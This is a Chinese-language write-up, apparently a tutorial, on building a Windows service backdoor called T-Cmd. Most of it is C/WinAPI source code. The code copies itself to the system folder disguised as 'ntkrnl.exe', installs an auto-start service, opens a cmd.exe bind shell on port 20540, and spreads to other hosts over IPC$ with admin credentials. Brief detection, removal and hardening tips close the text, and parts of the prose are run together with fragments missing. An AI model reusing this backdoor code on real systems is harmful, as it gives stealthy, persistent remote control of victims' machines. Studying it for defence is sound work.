服務控制管理器(SCM,services.exe)掌管服務生命週期:
HKLM\SYSTEM\CurrentControlSet\ServicesSERVICE_AUTO_START 開機自動載入SERVICE_WIN32_OWN_PROCESS 獨立進程,SHARED_PROCESS 共享(如 svchost.exe)main() → StartServiceCtrlDispatcher() → ServiceMain() + HandlerEx()SeDebugPrivilege)ntkrnl)隱蔽性高// 複製自身至 %SystemRoot%\ntkrnl.exe
CopyFile(curPath, sysPath + "ntkrnl.exe", FALSE);
// 開啟 SCM 並建立服務
SC_HANDLE hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE hSvc = CreateService(hSCM, "ntkrnl", "ntkrnl",
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE,
"ntkrnl.exe", NULL, NULL, NULL, NULL, NULL);
StartService(hSvc, 0, NULL);
DWORD WINAPI CmdService(LPVOID) {
SOCKET sListen = socket(AF_INET, SOCK_STREAM, 0);
bind(sListen, (sockaddr*)&addr, sizeof(addr)); // 20540/tcp
listen(sListen, SOMAXCONN);
while (TRUE) {
SOCKET sClient = accept(sListen, NULL, NULL);
CreateThread(NULL, 0, CmdShell, (LPVOID)sClient, 0, NULL);
}
}
// 建立兩組管道:StdIn/StdOut
CreatePipe(&hReadPipe, &hReadShell, &sa, 0); // 子進程 StdOut → 我們讀
CreatePipe(&hWriteShell, &hWritePipe, &sa, 0); // 我們寫 → 子進程 StdIn
STARTUPINFO si = {sizeof(si)};
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = hReadShell;
si.hStdOutput = si.hStdError = hWritePipe;
CreateProcess("cmd.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
// 執行緒 1:ReadShell 讀管道 → send(sClient)
// 執行緒 2:WriteShell recv(sClient) → 寫管道
// 執行緒 3:WaitForMultipleObjects 監控進程/執行緒結束
VOID WINAPI CmdControl(DWORD dwCtrl) {
if (dwCtrl == SERVICE_CONTROL_STOP || dwCtrl == SERVICE_CONTROL_SHUTDOWN) {
// 遍歷鏈表終結所有 cmd.exe 子進程
for (PPROCESSDATA p = head; p; p = p->next)
TerminateProcess(p->hProcess, 1);
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus(hStatus, &ServiceStatus);
}
}
透過 WNetAddConnection2 建立 IPC$ 連線(需管理員憑證),遠程複製檔案並呼叫 CreateService / StartService 完成落地。
sc query / EnumServicesStatusEx 發現異常服務ntkrnl.exe)netstat -ano 發現 20540/tcp LISTENING,PID 對應服務進程sc stop ntkrnl && sc delete ntkrnl → 刪除檔案 → 掃描啟動項服務級後門利用 SCM 機制實現高權限、高持久、高隱蔽的遠控通道。T-Cmd 以 CreateProcess 管道重導向模擬 Telnet 體驗,展示了 Windows 服務編程的核心模型。防禦端應建立服務基線審計、啟用 Windows Defender ATP 行為監控、限制服務安裝權限。